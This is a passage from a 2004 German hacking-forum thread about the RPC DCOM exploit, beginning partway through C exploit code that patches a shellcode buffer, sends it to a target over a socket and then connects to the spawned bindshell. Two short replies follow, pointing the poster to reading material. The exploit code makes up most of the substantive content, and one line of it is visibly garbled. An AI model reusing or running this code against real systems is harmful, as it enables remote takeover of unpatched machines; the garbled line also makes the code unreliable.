*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb=*(unsigned long *)(buf2+0xb+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
/* end xfocus */


if (send(sockfd,bindstr,sizeof(bindstr),0)== -1)
{
perror("[-] Send failed");
return(0);
}
len=recv(sockfd, buf1, 1000, 0);

if (send(sockfd,buf2,len1,0)== -1)
{
perror("[-] Send failed");
return(0);
}
close(sockfd);
sleep(1);

their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = lportl;

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}

if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("[-] Couldnt connect to bindshell, possible reasons:\n");
printf(" 1: Host is firewalled\n");
printf(" 2: Exploit failed\n");
return(0);
}

printf("[+] Connected to bindshell..\n\n");

sleep(2);

printf("-- bling bling --\n\n");

con(sockfd);

return(0);
}
Frosty ist offline   Mit Zitat antworten
Alt 27.04.04, 18:31   #14 (permalink)
 
Registriert seit: 21.08.03
Riskman Leistung: Facit NTK
Riskman eine Nachricht über ICQ schicken
Likes: 0
Arrow

Also zum RPC DCOM Exploit gibts wirklich genug Lesestoff, sodass deine Fragen eigentlich alle beantwortet werden können. Hättest du etwas mehr Zeit investiert um zu suchen, wärst du sogar auf diesen Link gestoßen. Lies dir die 3 Seiten durch & dann möcht ich kein Post mehr in diesem Thread von dir sehen ...

Gruß

Riskman
Riskman ist offline   Mit Zitat antworten
Alt 27.04.04, 18:41   #15 (permalink)
Themenstarter
 
Registriert seit: 27.03.04
Frosty Leistung: Facit NTK
Frosty eine Nachricht über ICQ schicken
Likes: 0
Standard

hm ok ok du hast recht... sry aber ich frage halt immer erst im forum bevor ich mich auf die suche mache danke nochmal für den link, der thread ist wirklich sehr aufschlussreich
Frosty ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Security Area » Virenschutz · Tools & Aggressive Software » Exploit zum Ausführen eines Programms
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Hab eine frage bezüglich der richtigkeit eines programms onix Code Kitchen 1 07.10.07 16:38
Innerhalb des Programms springen - C casio Code Kitchen 4 30.07.07 14:49
PHP-Script durch öffnen eines Ports ausführen techniker Code Kitchen 5 26.06.07 12:34
Vorgehensweise eines Brute Force Programms Phuket Virenschutz · Tools & Aggressive Software 5 18.01.05 21:19
Ausführen eines Exploits Leatherface (In)security allgemein 4 31.01.02 09:13


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61